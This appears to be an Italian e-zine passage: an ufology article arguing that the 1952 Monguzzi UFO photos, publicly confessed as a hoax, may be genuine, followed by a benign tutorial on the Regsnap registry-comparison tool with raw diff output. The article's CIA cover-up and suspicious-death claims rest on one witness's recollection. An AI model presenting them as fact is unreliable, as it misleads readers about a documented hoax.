Era un enorme piatto argenteo, largo almeno dieci metri. Pur spaventato, Monguzzi avanzò di alcuni metri, correndo a ripararsi dietro una roccia. "Avevo a tracolla la macchina fotografica e, cercando di vincere il terrore che mi paralizzava, la sollevai, guardai nel mirino e scattai. Non sentii il solito clik. Forse non avevo fatto nessuna fotografia. Rimasi a guardare. Il disco restò per pochi secondi ancora senza vita". In quel momento Monguzzi si accorse che accanto al disco vi era uno strano essere, che indossava una tuta di pelo. "Vidi l'uomo coperto da uno scafandro dai riflessi metallici venire verso di me. L'istinto mi suggerì di scappare, ma la paura mi teneva inchiodate le gambe. Forse non mi aveva visto. Infatti l'uomo (almeno credo sia stato un uomo) andava verso l'esterno della circonferenza del disco. Lo percorse tutto intorno come se stesse eseguendo un'ispezione dell'apparecchio. Si fermava ogni due o tre passi guardando verso l'alto del velivolo. Camminava molto impacciato in quello scafandro che aveva i contorni non ben definiti e sembrava quasi peloso. Aveva in mano uno strumento cilindrico simile ad una torcia elettrica. Non so quanto sia durato tutto questo, forse cinque minuti da quando il disco si era appoggiato sul ghiacciaio, ma non posso stabilire con esattezza un tempo preciso".
L'essere, a ispezione terminata, rientrò presumibilmente nel disco da un ingresso laterale, invisibile dal punto di osservazione di Monguzzi, visto che ad un certo momento l'UFO si alzò in volo, con una parte che si mise a ruotare, e sfrecciò via. In quel momento Monguzzi scattò altre due fotografie. "A mano a mano che il disco si allontanava sentivo tornare la vita intorno a me. Chiamai mia moglie e la voce veniva fuori. Il vento aveva ricominciato a fare quella strana musica come tra le sartie di un veliero".
A quel punto i due, pur se spaventati, ebbero la forza di avvicinarsi al luogo dell'atterraggio; non trovarono però alcuna traccia della discesa del disco, neanche un'impronta. "Ma nemmeno noi, del resto, lasciavamo impronte sul ghiaccio. Ma il disco doveva avere un peso straordinario, era impossibile non avesse lasciato nemmeno un segno. Se mi si chiedesse come faceva a volare, penso ad una forza magnetica potentissima e contraria a quella di gravità terrestre. Solo quella forza silenziosa poteva assorbire le onde sonore e, respingendo la Terra, permettere il sollevamento dell'apparecchio", dichiarò in seguito l'ingegnere. "Comunque, quando il disco lasciò lo Scerscen superiore, lo fece ad una velocità fra i 200 ed i 300 chilometri orari".

MONGUZZI CONFESSA IL FALSO

Alcune settimane dopo Monguzzi divulgò la propria storia sulla stampa. Il clamore suscitato fu fortissimo. Fra ottobre e novembre importanti organi di stampa come Epoca, L'Europeo, il Popolo, nonché le radio e la RAI ne parlarono diffusamente. La Tribuna Illustrata dedicò addirittura una copertina all'avvistamento e l'opinione pubblica si divise tra scettici e credenti. La storia varcò i confini nazionali. Un'agenzia francese si disse disponibile ad acquistare le foto per cinque milioni (una cifra enorme, per l'epoca); una pubblicazione americana si disse parimenti disponibile ed una casa cinematografica propose persino di girare un documentario sull'incontro ravvicinato. Ma quando ormai Monguzzi era all'apice della popolarità, il 22 ottobre, ospite presso la redazione milanese di Radio Sera, confessò pubblicamente di avere creato un falso! Le foto erano state realizzate in realtà utilizzando un modellino di cartone ed un pupazzetto; la truffa era stata architettata assieme a due suoi cugini, Mario e Alfredo Gaiani, con la collaborazione di una guida alpina dello Scerscen. Monguzzi ammise di avere realizzato il falso per beffare i giornalisti, per, scrisse la stampa, "dimostrare che lui, aspirante giornalista, aveva i numeri per essere assunto e non respinto, come era avvenuto sino al giorno prima". A dimostrazione di quanto affermato, Monguzzi si fece fotografare con il modellino di cartone ed il pupazzetto che simulava il visitatore alieno.

ANCHE PINUCCIA CROLLA

Moriva così il caso Monguzzi. E moriva tra le polemiche, visto che diversi ufologi sottolinearono ripetutamente, e invano, che i modellini mostrati da Monguzzi non corrispondessero alla perfezione a quanto si vedeva nelle foto.
Ma, come scrisse il quotidiano Il Popolo del primo novembre 1952, in quei giorni fu poi "la signora Pinuccia a mandare tutto, con perfetta tempestività, a carte quarantotto. Ella ha avuto legittimamente paura: troppa gente si muoveva e troppi milioni per un cartone, un pupazzo e un mucchietto di terra. La donna tremava già a vista d'occhio quando il redattore di un quotidiano le accennò al fatto che l'intero racconto, se smentito, avrebbe potuto essere preso per un tentativo di truffa. E così la donna, a un ennesimo interrogatorio, è scoppiata a piangere rivelando il trucco".

UN PROTAGONISTA VUOTA IL SACCO

Termina così, ufficialmente, l'affare del Bernina. Ma il caso è ben lungi dall'essere chiuso. Già perché, grazie a quei colpi di fortuna che occasionalmente capitano anche agli ufologi, siamo riusciti a rintracciare uno dei "complici" di Monguzzi, la guida dello Scercen.
Nel bel mezzo di un'indagine su certe strane tracce in un campo della Lombardia il sottoscritto e l'ufologo Michele Esposito, della sezione CUN di Bollate (MI), venivamo a contatto con il signor Antonio Sprecapane. Anziano ma arzillo e vigoroso come un ventenne, Sprecapane ci racconta di avere vissuto in Australia per circa dieci anni. Si è interessato agli UFO, che ha avvistato personalmente sopra la città di Perth, ma soprattutto ci confessa, a sorpresa, di essere stato uno dei protagonisti del caso del Bernina.
"Conoscevo Monguzzi", ci racconta Sprecapane, "perché lavoravamo entrambi alla Edison Gas; inoltre eravamo tutti e due amanti della montagna. Ricordo che un giorno Monguzzi mi chiamò dicendomi che voleva essere aiutato nella realizzazione di un bozzetto di modello dello Scerscen Superiore. Mi disse che doveva fare vedere che aveva fotografato un disco volante sulla bocca dello Scerscen, al limite della seraccata. Mi disse proprio così. Doveva dimostrare che era un bravo fotografo, questa fu la sua motivazione".
Quando chiediamo a Sprecapane se le foto fossero false, il nostro uomo scuote la testa. "Onestamente, io ho visto i negativi originali. Nelle prime sequenze si vedevano Monguzzi e la moglie sulla montagna, a metà c'erano le foto del disco, e poi ancora la montagna. Dunque, le fotografie erano state scattate sul Bernina e non a casa. Tra l'altro, riconobbi chiaramente la località. La prima foto mostrava l'UFO in volo sul Piz d'Argent, la seconda sulla cresta del Rosé, le altre dava

  
nti al Bernina. Non capisco perché Monguzzi, con il mio aiuto, abbia voluto ricreare un modellino del Bernina. Anche perché, se ci fate caso, non è una cosa così semplice. Abbiamo utilizzato della terra e del gesso, per dare l'impressione del ghiaccio. Abbiamo rivoltato il terreno per simulare le montagne ma, se osservate le foto del disco sul ghiacciaio, vi renderete conto che è impossibile ricreare la stessa pendenza. Le foto sono state scattate chiaramente da una persona che era molto più in basso rispetto al disco. Dato che, quando ricreammo il 'plastico' del Bernina, lo facemmo sul terreno, fu impossibile fotografare così dal basso. Tra l'altro, le montagne del plastico erano uno sgorbio, con la terra che cercava di simulare la roccia.
Dopo che uscì la smentita, Monguzzi mi fece vedere il modellino del disco, era un cono di cartone tenuto assieme dallo scotch. Dell'alieno, mi disse che era un pupazzo assemblato con lana e filo di ferro. Mi sembrò una spiegazione ridicola". Ma perché dunque Monguzzi aveva preferito passare per visionario?

SCATTA IL COVER UP

Secondo la stampa, l'ingegnere monzese, pur di mettere fine alle processioni di curiosi, giornalisti e critici che ogni giorno affollavano la sua casa e che premevano perché confessasse il falso, avrebbe preferito ammettere di avere frodato. Una spiegazione che non convince troppo Sprecapane. "
Quando uscirono le foto, si scatenò un putiferio. Monguzzi venne interrogato da agenti della CIA e dai nostri servizi segreti; mi disse che le sue foto erano state ingrandite ad altezza di parete dall'Aviazione (non mi disse di quale Paese). Era veramente terrorizzato. Ricordo che ad un certo momento mi disse di tirarmi fuori dalla vicenda, che era nei pasticci. Io, che avevo famiglia, preferii obbedire. Del resto, Monguzzi la pagò cara. Venne cacciato dalla Edison. I dirigenti, che in un primo momento facevano la fila per farsi fotografare dalla stampa assieme a lui, dopo la smentita si resero introvabili. E lo licenziarono. Ricordo che dopo una nostra intervista alla RAI fummo interrogati, mi chiesero se nelle foto, ormai dichiarate false, riconoscessi realmente il Bernina; fui torchiato anche dai dirigenti della Edison, che volevano sapere che ruolo avessi avuto nella vicenda. In un'altra occasione, dopo una conferenza sugli UFO organizzata dal Club Alpino Operaio alle Tre Cime di Lavaredo, venni avvicinato da alcuni uomini in borghese, che mi domandarono se io avessi visto qualcosa, se pensavo che il caso fosse vero. Non si presentarono e non so dire chi fossero. Erano italiani, o almeno parlavano italiano, ma davano l'impressione di essere agenti segreti. Lo capii dal modo con cui chiedevano; avevano il tipico atteggiamento di chi è autorizzato ad ottenere con prepotenza. Nei loro modi non c'era gentilezza..."

IL FALSO DI LAVAREDO

Monguzzi minacciato dalla CIA, dunque? É possibile. L'episodio di Lavaredo è forse la chiave di volta per risolvere il mistero. Già perché Sprecapane sostiene che Monguzzi avrebbe realizzato il plastico prima ancora di divulgare le foto! Prima, e non dopo. Ciò significherebbe che l'ingegnere monzese, prevedendo delle noie, si sarebbe costruito una via di fuga. Ed ecco che il 6 novembre, sulla rivista Oggi, venivano pubblicate delle fotografie, spacciate per un disco volante e un alieno sulle Tre Cime di Lavaredo, molto simili al caso Monguzzi. "
Le foto sono false", dichiarava la rivista, "e servono a dimostrare la facilità nel realizzare trucchi". Il modellino del disco volante, un cono con antenna, ricorda molto da vicino l'UFO di Monguzzi, e chiaramente è stato ricavato da un disegno rilasciato dall'ingegnere monzese alla stampa un mese prima. Lo sfondo simula il Bernina. Non possiamo escludere che esse siano le "seconde" foto realizzate da Giampiero, con il plastico di Sprecapane. Il tutto, nell'ottica di una manovra difensiva, a costo della perdita della propria credibilità.
Cosa temeva dunque Monguzzi? La risposta è forse in una sua dichiarazione al giornale Il Popolo del 23 ottobre 1952: "
Ho pubblicato le foto solo due mesi dopo l'avvistamento in quanto avevo paura. Sono giovane e ho un figlio, e a 29 anni non volevo essere sequestrato o ucciso. Perché, sebbene sia personalmente convinto che si trattasse di un abitante di un altro pianeta, pure il disco poteva appartenere ad una grande Potenza che avrebbe fatto tutto il possibile per eliminare l'indiscreto scopritore di un formidabile segreto militare..."

UNA FINE INSPIEGABILE

É questa la soluzione dell'enigma del Bernina? Monguzzi aveva realmente fotografato un prototipo top secret ed era stato poi costretto a passare per imbroglione, pena la morte? O più semplicemente era incappato nel classico debunking e cover up che toccò, negli anni della Guerra Fredda, a molti sfortunati UFOtestimoni? Si era del resto negli anni Cinquanta e l'America aveva messo in pista i suoi agenti della disinformazione migliori. Prevedendo noie, Monguzzi si era infine costruito una smentita credibile? Non lo sappiamo. Il caso Monguzzi presenta ancora, a tanti anni di distanza, molti lati oscuri. Ma mi si permetta di dire che uno dei casi storici, oramai bollato in tutte le pubblicazioni come falso, potrebbe al limite essere invece autentico. Certo, per saperne di più occorrerebbe parlarne con il diretto interessato, ma Monguzzi sembra sia sparito dalla circolazione. Quando ne chiedemmo notizie a Sprecapane, ci fu risposto: "
Non ho notizie precise, ma uno dei nostri ex colleghi dell'Edison mi ha detto che gli era successa una cosa strana, che era morto in un curioso incidente d'auto...".

Bibliografia

AA.VV - UFO in Italia 1, Tedeschi Editore.
P. Nobile, UFO, Mondadori.
Oggi, 6.11.52; Giornale d'Italia 24.10.54, Popolo 23.10.52 e 1.11.52.
A.Schneider-H.Malthaner, Il segreto degli UFO, De Vecchi.

BOX
IL PARERE DEL CONSOLE PEREGO

Sul caso Monguzzi così scrisse il console italiano Alberto Perego, accanito ufologo, nel libro "
L'aviazione di altri pianeti opera tra noi": "Queste fotografie sono tra le più belle esistenti; di indubbia autenticità. Furono immediatamente esaminate dai servizi segreti di vari Paesi che se ne procurarono facilmente copia gratuita dallo stesso Monguzzi, che le esibiva senza contropartita alcuna. Appena però in possesso delle fotografie, i servizi segreti furono d'accordo per dichiarale false, seguendo la nota politica delle smentite. Ma, lo ripeto ancora una volta, queste fotografie sono autentiche e di estremo interesse".


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| REGSNAP ...................................................[JEYoNE] 0x16/0x25 |
+-------------------------------------------------------------------------------+

E' domenica notte, sono le 2.08 minuti, e domani mattina mi devo
svegliare alle 6 per andare in caserma.
Il mio pacchetto di marlboro sta piangendo, ne è rimasta soltanto
una, e io non so per quanto resisterò davanti a questo monitor tutto
scassato ( a proposito se volete fare una colletta per comprarmi un
monitor nuovo ne sarei ben felice, visto che il ministero della
difesa mi passa soltanto 180000 £ al mese e io con quelle non ci
compro neanche le sigarette! :] ).

°Musica ascoltata : Black sunday- Cypress Hill (rigorosamente con le
cuffie visto che di là c'è la mamma che dorme, e se sa che sono
sveglio a quest'ora mi taglia le vene per il lungo!)

°Consumo : 6 Marlboro rosse, una sigaretta con il Samson, una
MONK'S, un plumcake e una lattina di sprite.

°Tempo impiegato : Non lo so, per ora non molto, vedremo alla fine.

°Un saluto speciale a... tutti, non ho voglia di scrivere tutti i
nick delle persone che voglio salutare altrimenti sarebbe più lunga
la lista dei nomi che il tutorial.

#### DISCLAIMER
####

IO NON SO NIENTE, NON C'ERO E SE C'ERO DORMIVO, L'ERBA DEL VICINO E'
SEMPRE PIU' VERDE, MOGLIE E BUOI DEI PAESI TUOI, DONNE E MOTORI,
GIOIE E DOLORI, SE COMBINATE QUALCHE CAZZATA SIETE I SOLI
RESPONSABILI, ANCHE PERCHE' IO NON VI HO DETTO NULLA, E VISTO CHE I
GUAI NON VENGONO MAI DA SOLI STATE BEN ATTENTI A QUELLO CHE ANDATE A
COMBINARE....
Lo so, non centra un cazzo questo con un disclaimer, ma non sapevo
cosa scrivere, i disclaimer li scrivono tutti... e allora ho voluto
scrivere qualcosa anch'io! :]

####
####

In questo tutorial andremo a spiegare l'utilizzo di un programmino
tanto bello quanto efficace di nome Regsnap.
Andremo ad analizzare tutte le opzioni di questo programma, e ne
capiremo l'utilizzo.
Il programma in questione e la versione 2.71, non so se ne sono
state rilasciate versioni più recenti, io sul pc ho questa versione,
e che vi vada bene o no spiegherò come si usa questa! :]
Prima di cominciare andiamo a spiegare che cos'è il regsnap e che
cosa fa.
Regsnap è un programmino che praticamente "
fotografa" il registro di
sistema, confronta i due file .rgs e ne segnala i cambiamenti.
Di solito può essere utilizzato per andare a vedere che cosa un
programma modifica quando lo andiamo ad installare.
Il programma oltre a vedere quali chiavi sono state modificate e
quali sono state aggiunte nel registro, mostra anche le variazioni
che ci sono state nelle directory C:\WINDOWS e C:\WINDOWS\SYSTEM, nei
file win.ini, system.ini, autoexec.bat e config.sys.
Ma ora bando alle ciance e partiamo....
Apriamo il programma e, come per magia, ci appare subito un wizard
che già facilita le nostre operazioni.
Come possiamo vedere, oltre ad esserci una lista dei recenti
documenti aperti (se è la prima volta che lo usate, ovviamente, non
avrete nessun nome che identifica i documenti recenti, e non serve
che spieghi il perchè, vero? :])ci sono 3 tasti, diciamo 2 perchè uno
è quello per chiudere il wizard...
Il primo è "
new snap", cliccando su questo tasto ci appare un altra
finestra di dialogo in cui possiamo scegliere se "
fotografare" tutto,
soltanto il registro oppure il registro di una macchina in remoto, ma
questo funziona soltanto nella versione Pro.
Il secondo tasto, "
compare", esegue il paragone tra due file per
controllarene le modifiche.
Cliccando su questo tasto si apre un altro tipo di finestra, in cui
possiamo scegliere i due file da paragonare, le opzioni del
resoconto, e qui possiamo scegliere se utilizzare il "
key names
only", che non fa nient'altro che visualizzare soltanto i nomi delle
chiavi del registro che sono state modificate, o il "
key name and key
values", che fa vedere anche che valori sono stati modificati,
creando, se si vuole, un file .reg per ripristinare le chiavi del
registro modificate.
A questo punto possiamo scegliere il nome da dare al file di
responso che verrà creato dal paragone dei due file, e possiamo
scegliere se crearlo in html o in formato testo.
In ultimo troviamo un tasto "
advanced options", che permette di
escludere delle determinate chiavi del registro dal "
controllo".
A questo punto andiamo a vedere nel dettaglio come funziona questo
programma, facendo uno snap. installando un programma qualunque e poi
facendo un secondo snap ed un paragone.
Una volta temrimata la prima "
foto" compare una msgbox che riporta
alcune condizioni del pc.
La mia dice :
-Registry Snapshot: Registry contains 42788 keys and 61673 values.
-Filelist Snapshot for C:\WINDOWS\*.*: 1115 files
-Filelist Snapshot for C:\WINDOWS\SYSTEM|*.*: 1246 files.
-Ini Snap for: win.ini; 30 keys, 703 values.
-Ini Snap for: system.ini; 15 keys, 161 values.
-Textfile Snapshot for: c:\autoexec.bat.
-Textfile Snapshot for: c:\config.sys.

Dopo aver installato il programma, un programma che ho preso a caso
dall'ultimo numero di inter.net, andiamo ad eseguire il secondo
snapshot, terminata la lettura ecco che compare la solita
finestrella, che dice:
-Registry Snapshot: Registry contains 42790 keys and 61678 values.
-Filelist Snapshot for C:\WINDOWS\*.*: 1115 files
-Filelist Snapshot for C:\WINDOWS\SYSTEM|*.*: 1246 files.
-Ini Snap for: win.ini; 30 keys, 703 values.
-Ini Snap for: system.ini; 15 keys, 161 values.
-Textfile Snapshot for: c:\autoexec.bat.
-Textfile Snapshot for: c:\config.sys.

Andiamo ora a visualizzare il responso che abbbiamo ottenuto
paragonando i due file:

Registry report

Summary info:
Deleted keys: 1
Modified keys: 24
New keys : 6


Deleted keys
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\107\ViewView2
Value: Type: REG_BINARY Length: 523 byte(s)
1C 00 00 00 01 00 00 00 00 00 00 00 00 00 30 00 |
..............0.
00 00 00 00 01 00 00 00 FF FF FF FF F0 F0 F0 F0 |
................
14 00 03 00 0B 02 00 00 00 00 00 00 00 00 00 00 |
................
75 00 00 00 02 00 00 00 3C 00 32 00 C0 5C 15 00 |
u.......<.2..\..
6F 2A 78 4C 20 00 42 65 6E 69 74 6F 20 4D 75 73 | o*xL
.Benito Mus
73 6F 6C 69 6E 69 20 2D 20 43 69 61 6F 20 42 69 | solini -
Ciao Bi
6F 6E 64 69 6E 61 2E 31 00 42 45 4E 49 54 4F 7E |
ondina.1.BENITO~
31 2E 31 00 A8 00 00 00 02 00 00 00 3C 00 32 00 |
1.1.........<.2.
C0 5C 15 00 6F 2A 78 4C 20 00 42 65 6E 69 74 6F | .\..o*xL
.Benito
20 4D 75 73 73 6F 6C 69 6E 69 20 2D 20 43 69 61 | Mussolini
- Cia
6F 20 42 69 6F 6E 64 69 6E 61 2E 32 00 42 45 4E | o
Biondina.2.BEN
49 54 4F 7E 31 2E 32 00 0F 00 00 00 02 00 00 00 |
ITO~1.2.........
3C 00 32 00 37 23 0D 00 6F 2A 79 4C 20 00 42 65 |
<.2.7#..o*yL .Be
6E 69 74 6F 20 4D 75 73 73 6F 6C 69 6E 69 20 2D | nito
Mussolini -
20 43 69 61 6F 20 42 69 6F 6E 64 69 6E 61 2E 33 | Ciao
Biondina.3
00 42 45 4E 49 54 4F 7E 31 2E 33 00 42 00 00 00 |
.BENITO~1.3.B...
02 00 00 00 40 00 32 00 F6 00 00 00 6F 2A 78 4C |
....@.2.....o*xL
20 00 42 65 6E 69 74 6F 20 4D 75 73 73 6F 6C 69 | .Benito
Mussoli
6E 69 20 2D 20 43 69 61 6F 20 42 69 6F 6E 64 69 | ni - Ciao
Biondi
6E 61 2E 62 61 74 00 42 45 4E 49 54 4F 7E 31 2E |
na.bat.BENITO~1.
42 41 54 00 DB 00 00 00 02 00 00 00 35 00 32 00 |
BAT.........5.2.
C0 5C 15 00 6F 2A CC 4B 20 00 4D 75 73 73 6F 6C | .\..o*.K
.Mussol
69 6E 69 20 2D 20 46 61 63 63 65 74 74 61 20 4E | ini -
Faccetta N
65 72 61 2E 31 00 4D 55 53 53 4F 4C 7E 31 2E 31 |
era.1.MUSSOL~1.1
00 0F 00 00 00 35 00 00 00 35 00 32 00 40 63 04 |
.....5...5.2.@c.
00 6F 2A CC 4B 20 00 4D 75 73 73 6F 6C 69 6E 69 | .o*.K
.Mussolini
20 2D 20 46 61 63 63 65 74 74 61 20 4E 65 72 61 | -
Faccetta Nera
2E 32 00 4D 55 53 53 4F 4C 7E 31 2E 32 00 0E 01 |
.2.MUSSOL~1.2...
00 00 02 00 00 00 39 00 32 00 B3 00 00 00 6F 2A |
......9.2.....o*
CC 4B 20 00 4D 75 73 73 6F 6C 69 6E 69 20 2D 20 | .K
.Mussolini -
46 61 63 63 65 74 74 61 20 4E 65 72 61 2E 62 61 | Faccetta
Nera.ba
74 00 4D 55 53 53 4F 4C 7E 31 2E 42 41 54 00 0E |
t.MUSSOL~1.BAT..
01 00 00 02 00 00 00 00 00 D1 7F |
..........

--------------
Total positions: 1

Modified keys
HKEY_LOCAL_MACHINE\Software\CLASSES\TypeLib\{248DD890-BB45-11CF-9ABC-0080C7E7B78D}\1.0\@
Old value: String: "
Microsoft Winsock Control 6.0"
New value: String: "
Microsoft Winsock Control 6.0 (SP4)"

HKEY_LOCAL_MACHINE\Software\Description\Microsoft\Rpc\UuidPersistentData\LastTimeAllocated
Old value: Type: REG_BINARY Length: 8 byte(s)
A0 BA D1 50 39 22 D5 01 | ...P9"
..

New value: Type: REG_BINARY Length: 8 byte(s)
60 60 08 AB 3D 22 D5 01 | ``..="..

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\ASYCFILT.DLL
Old value: DWORD: 8 (0x8)
New value: DWORD: 9 (0x9)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\COMCAT.DLL
Old value: DWORD: 7 (0x7)
New value: DWORD: 8 (0x8)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\ComDlg32.ocx
Old value: DWORD: 6 (0x6)
New value: DWORD: 7 (0x7)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\MSVBVM60.DLL
Old value: DWORD: 3 (0x3)
New value: DWORD: 4 (0x4)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\MSWINSCK.OCX
Old value: DWORD: 5 (0x5)
New value: DWORD: 6 (0x6)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\OLEAUT32.DLL
Old value: DWORD: 7 (0x7)
New value: DWORD: 8 (0x8)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\OLEPRO32.DLL
Old value: DWORD: 7 (0x7)
New value: DWORD: 8 (0x8)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\STDOLE2.TLB
Old value: DWORD: 7 (0x7)
New value: DWORD: 8 (0x8)

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\WINDOWS\SYSTEM\VB6STKIT.DLL
Old value: DWORD: 2 (0x2)
New value: DWORD: 3 (0x3)

HKEY_USERS\.DEFAULT\Software\Microsoft\Internet
Explorer\International\CpMRU\Cache
Old value: Type: REG_BINARY Length: 80 byte(s)
AF 6F 00 00 5A 1D 00 00 B0 04 00 00 6F 04 00 00 |
.o..Z.......o...
E4 04 00 00 AD 00 00 00 E3 04 00 00 57 00 00 00 |
............W...
E6 04 00 00 16 00 00 00 A8 03 00 00 10 00 00 00 |
................
DC CA 00 00 07 00 00 00 B0 6F 00 00 05 00 00 00 |
.........o......
A4 03 00 00 04 00 00 00 E9 FD 00 00 01 00 00 00 |
................

New value: Type: REG_BINARY Length: 80 byte(s)
AF 6F 00 00 5C 1D 00 00 B0 04 00 00 6F 04 00 00 |
.o..\.......o...
E4 04 00 00 AD 00 00 00 E3 04 00 00 57 00 00 00 |
............W...
E6 04 00 00 16 00 00 00 A8 03 00 00 10 00 00 00 |
................
DC CA 00 00 07 00 00 00 B0 6F 00 00 05 00 00 00 |
.........o......
A4 03 00 00 04 00 00 00 E9 FD 00 00 01 00 00 00 |
................

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\m
Old value: Type: REG_BINARY Length: 41 byte(s)
4E 52 74 72 65 2E 74 78 74 00 1D 00 30 01 00 00 |
NRtre.txt...0...
00 00 00 00 00 00 00 00 4E 52 74 72 65 2E 74 78 |
........NRtre.tx
74 2E 6C 6E 6B 00 00 00 00 | t.lnk....

New value: Type: REG_BINARY Length: 41 byte(s)
69 6E 64 65 78 2E 68 74 6D 00 1D 00 30 01 00 00 |
index.htm...0...
00 00 00 00 00 00 00 00 69 6E 64 65 78 2E 68 74 |
........index.ht
6D 2E 6C 6E 6B 00 00 00 00 | m.lnk....

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\MRUList
Old value: String: "
eokhdgbfjnlcaim"
New value: String: "
meokhdgbfjnlcai"

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\107
Old value: Type: REG_BINARY Length: 82 byte(s)
2A 00 31 00 00 00 00 00 6F 2A 51 8A 10 00 4E 75 |
*.1.....o*Q...Nu
6F 76 61 20 63 61 72 74 65 6C 6C 61 20 28 32 29 | ova
cartella (2)
00 4E 55 4F 56 41 43 7E 32 00 26 00 31 00 00 00 |
.NUOVAC~2.&.1...
00 00 6F 2A 4C 8B 10 00 4E 75 6F 76 61 20 63 61 |
..o*L...Nuova ca
72 74 65 6C 6C 61 00 4E 55 4F 56 41 43 7E 31 00 |
rtella.NUOVAC~1.
00 00 | ..

New value: Type: REG_BINARY Length: 105 byte(s)
14 00 1F 0F E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 | .....O.
.:i.....
2B 30 30 9D 19 00 25 44 3A 5C 00 00 00 00 00 00 |
+00...%D:\......
00 00 00 00 00 00 00 00 00 00 00 8D CE 18 00 31 |
...............1
00 00 08 00 00 41 2A 36 4F 10 00 68 74 6D 6C 00 |
.....A*6O..html.
48 54 4D 4C 00 22 00 32 00 2C 03 00 00 3F 2A 43 |
HTML."
.2.,...?*C
8E 01 00 69 6E 64 65 78 2E 68 74 6D 00 49 4E 44 |
...index.htm.IND
45 58 2E 48 54 4D 00 00 00 | EX.HTM...

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\136
Old value: Type: REG_BINARY Length: 66 byte(s)
2A 00 31 00 00 00 00 00 6F 2A 51 8A 10 00 4E 75 |
*.1.....o*Q...Nu
6F 76 61 20 63 61 72 74 65 6C 6C 61 20 28 32 29 | ova
cartella (2)
00 4E 55 4F 56 41 43 7E 32 00 16 00 31 00 00 00 |
.NUOVAC~2...1...
00 00 6F 2A 67 8B 10 00 6D 70 33 00 4D 50 33 00 |
..o*g...mp3.MP3.
00 00 | ..

New value: Type: REG_BINARY Length: 81 byte(s)
14 00 1F 0F E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 | .....O.
.:i.....
2B 30 30 9D 19 00 25 44 3A 5C 00 00 00 00 00 00 |
+00...%D:\......
00 00 00 00 00 00 00 00 00 00 00 8D CE 22 00 32 |
.............".2
00 FD 00 00 00 62 29 46 93 01 00 69 6E 64 65 78 |
.....b)F...index
2E 68 74 6D 00 49 4E 44 45 58 2E 48 54 4D 00 00 |
.htm.INDEX.HTM..
00 | .

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamMRU\MRUListEx
Old value: Type: REG_BINARY Length: 804 byte(s)
3B 00 00 00 B5 00 00 00 1A 00 00 00 03 00 00 00 |
;...............
AD 00 00 00 02 00 00 00 B7 00 00 00 71 00 00 00 |
............q...
3C 00 00 00 5E 00 00 00 3D 00 00 00 34 00 00 00 |
<...^...=...4...
33 00 00 00 95 00 00 00 64 00 00 00 44 00 00 00 |
3.......d...D...
5F 00 00 00 51 00 00 00 52 00 00 00 00 00 00 00 |
_...Q...R.......
A6 00 00 00 A7 00 00 00 B0 00 00 00 A8 00 00 00 |
................
65 00 00 00 7E 00 00 00 6A 00 00 00 6C 00 00 00 |
e...~...j...l...
0B 00 00 00 28 00 00 00 31 00 00 00 8E 00 00 00 |
....(...1.......
BA 00 00 00 42 00 00 00 A2 00 00 00 0C 00 00 00 |
....B...........
2F 00 00 00 46 00 00 00 4F 00 00 00 43 00 00 00 |
/...F...O...C...
B6 00 00 00 11 00 00 00 6E 00 00 00 0D 00 00 00 |
........n.......
1D 00 00 00 8B 00 00 00 90 00 00 00 7A 00 00 00 |
............z...
94 00 00 00 8A 00 00 00 7F 00 00 00 10 00 00 00 |
...............
A9 00 00 00 7C 00 00 00 A3 00 00 00 B9 00 00 00 |
....|...........
22 00 00 00 26 00 00 00 2A 00 00 00 5C 00 00 00 |
"
...&...*...\...
56 00 00 00 7B 00 00 00 30 00 00 00 37 00 00 00 |
V...{...0...7...
3A 00 00 00 2C 00 00 00 5A 00 00 00 3E 00 00 00 |
:...,...Z...>...
2E 00 00 00 06 00 00 00 C7 00 00 00 86 00 00 00 |
................
41 00 00 00 16 00 00 00 17 00 00 00 25 00 00 00 |
A...........%...
23 00 00 00 49 00 00 00 39 00 00 00 79 00 00 00 |
#...I...9...y...
9E 00 00 00 27 00 00 00 5D 00 00 00 14 00 00 00 |
....'...].......
BC 00 00 00 8C 00 00 00 A0 00 00 00 18 00 00 00 |
................
68 00 00 00 BB 00 00 00 C4 00 00 00 60 00 00 00 |
h...........`...
7D 00 00 00 0A 00 00 00 B3 00 00 00 21 00 00 00 |
}...........!...
04 00 00 00 81 00 00 00 C1 00 00 00 C0 00 00 00 |
................
A5 00 00 00 82 00 00 00 1C 00 00 00 07 00 00 00 |
................
98 00 00 00 24 00 00 00 6F 00 00 00 38 00 00 00 |
....$...o...8...
54 00 00 00 72 00 00 00 A1 00 00 00 BD 00 00 00 |
T...r...........
0E 00 00 00 78 00 00 00 66 00 00 00 32 00 00 00 |
....x...f...2...
1E 00 00 00 08 00 00 00 B4 00 00 00 BF 00 00 00 |
................
C3 00 00 00 C5 00 00 00 85 00 00 00 AB 00 00 00 |
................
29 00 00 00 AF 00 00 00 57 00 00 00 19 00 00 00 |
).......W.......
